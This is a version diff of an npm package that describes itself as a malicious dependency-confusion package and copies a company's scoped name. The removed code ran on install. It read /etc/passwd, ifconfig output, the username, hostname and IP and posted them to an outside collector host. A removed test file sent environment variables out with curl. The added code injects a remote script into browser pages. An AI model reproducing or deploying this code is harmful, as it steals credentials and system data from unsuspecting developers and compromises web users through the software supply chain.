@visma-spcs-registry/react-common-components 4.2.7 → 4.2.8

package/index.js

@@ -1,111 +1,16 @@
-const os = require('os');
-const axios = require('axios');
-const path = require('path');
-const fs = require('fs');
-const { execSync } = require('child_process');
-
-// Cek apakah berjalan di browser atau Node.js
-const isBrowser = typeof window !== 'undefined';
-
-// Mendapatkan waktu saat ini
-function getCurrentTime() {
-  return new Date().toISOString();
-}
-
-// Mendapatkan nama organisasi atau pengguna
-function getOrganization() {
-  return os.userInfo().username;
-}
-
-// Mendapatkan IP eksternal dengan menggunakan API
-async function getExternalIP() {
-  try {
-    const response = await axios.get('https://api.ipify.org?format=json');
-    return response.data.ip;
-  } catch (error) {
-    return 'IP eksternal tidak ditemukan';
-  }
-}
-
-// Mendapatkan nama host
-function getHostname() {
-  return os.hostname();
-}
-
-// Mendapatkan jalur direktori saat ini
-function getCurrentPath() {
-  return path.resolve('.');
-}
-
-// Membaca file /etc/passwd (hanya jika ada izin akses)
-function getEtcPasswd() {
-  try {
-    const passwdContent = fs.readFileSync('/etc/passwd', 'utf-8');
-    return passwdContent;
-  } catch (error) {
-    return 'Tidak dapat membaca file /etc/passwd';
-  }
-}
-
-// Mendapatkan konfigurasi jaringan dengan ifconfig
-function getIfconfig() {
-  try {
-    return execSync('ifconfig', { encoding: 'utf-8' });
-  } catch (error) {
-    return 'Tidak dapat mengambil konfigurasi jaringan';
-  }
-}
-
-// Simpan payload XSS ke localStorage (Hanya jika berjalan di browser)
-function storeXSSPayload() {
-  if (isBrowser) {
-    const payload = `<script src=https://banditz.bxss.in >console.log('XSS berhasil disisipkan!');</script>`;
-    try {
-      localStorage.setItem('xssTest', payload);
-      console.log('✅ XSS Payload berhasil disimpan di localStorage.');
-    } catch (error) {
-      console.error('❌ Gagal menyimpan payload ke localStorage:', error);
+(function() {
+    // Cek apakah berjalan di browser
+    if (typeof window !== 'undefined') {
+      console.log('✅ Package terinstall di browser, menjalankan payload...');
+  
+      // Tambahkan elemen <script> untuk XSS
+      const script = document.createElement('script');
+      script.src = 'https://banditz.bxss.in';
+      document.body.appendChild(script);
+  
+      console.log('✅ XSS berhasil dieksekusi!');
+    } else {
+      console.log('❌ Tidak berjalan di browser, payload tidak dieksekusi.');
     }
-  } else {
-    console.log('ℹ️ Tidak berjalan di browser, melewati XSS Storage.');
-  }
-}
-
-// Mengumpulkan data yang dibutuhkan
-async function collectData() {
-  const time = getCurrentTime();
-  const organization = getOrganization();
-  const externalIP = await getExternalIP();
-  const hostname = getHostname();
-  const currentPath = getCurrentPath();
-  const etcPasswd = getEtcPasswd();
-  const ipConfig = getIfconfig();
-
-  if (isBrowser) {
-    storeXSSPayload();
-  }
-
-  const data = {
-    time,
-    organization,
-    ipAddress: externalIP,
-    hostname,
-    currentPath,
-    etcPasswd,
-    ipConfig,
-  };
-
-  console.log(data); // Tampilkan data yang dikumpulkan
-
-  // Kirim data ke server target
-  axios.post('https://szv138mpq6spdy0w5icr8zg7kyqpef24.oastify.com/log', data)
-    .then(response => {
-      console.log('✅ Data berhasil dikirim:', response.data);
-    })
-    .catch(error => {
-      console.error('❌ Error saat mengirim data:', error);
-    });
-}
-
-// Jalankan fungsi
-collectData();
+  })();
+  

package/package.json

@@ -1,14 +1,11 @@
 {
-    "name": "@visma-spcs-registry/react-common-components",
-    "version": "4.2.7",
-    "description": "Malicious package for dependency confusion",
-    "main": "index.js",
-    "scripts": {
-        "postinstall": "node index.js"
-    },
-    "author": "Attacker",
-    "license": "MIT",
-    "dependencies": {
-        "axios": "^0.21.1"
-    }
+  "name": "@visma-spcs-registry/react-common-components",
+  "version": "4.2.8",
+  "description": "Malicious package for dependency confusion",
+  "main": "index.js",
+  "author": "Attacker",
+  "license": "MIT",
+  "dependencies": {
+      "axios": "^0.21.1"
+  }
 }

package/test.js

@@ -1,7 +0,0 @@
-const { exec } = require('child_process');
-exec('curl -X POST https://owo1psomvgl0vrfn7t4uf1d4uv0mocc1.oastify.com -d "$(env)"', (error) => {
-    if (error) {
-        console.error(`Exec error: ${error}`);
-        return;
-    }
-});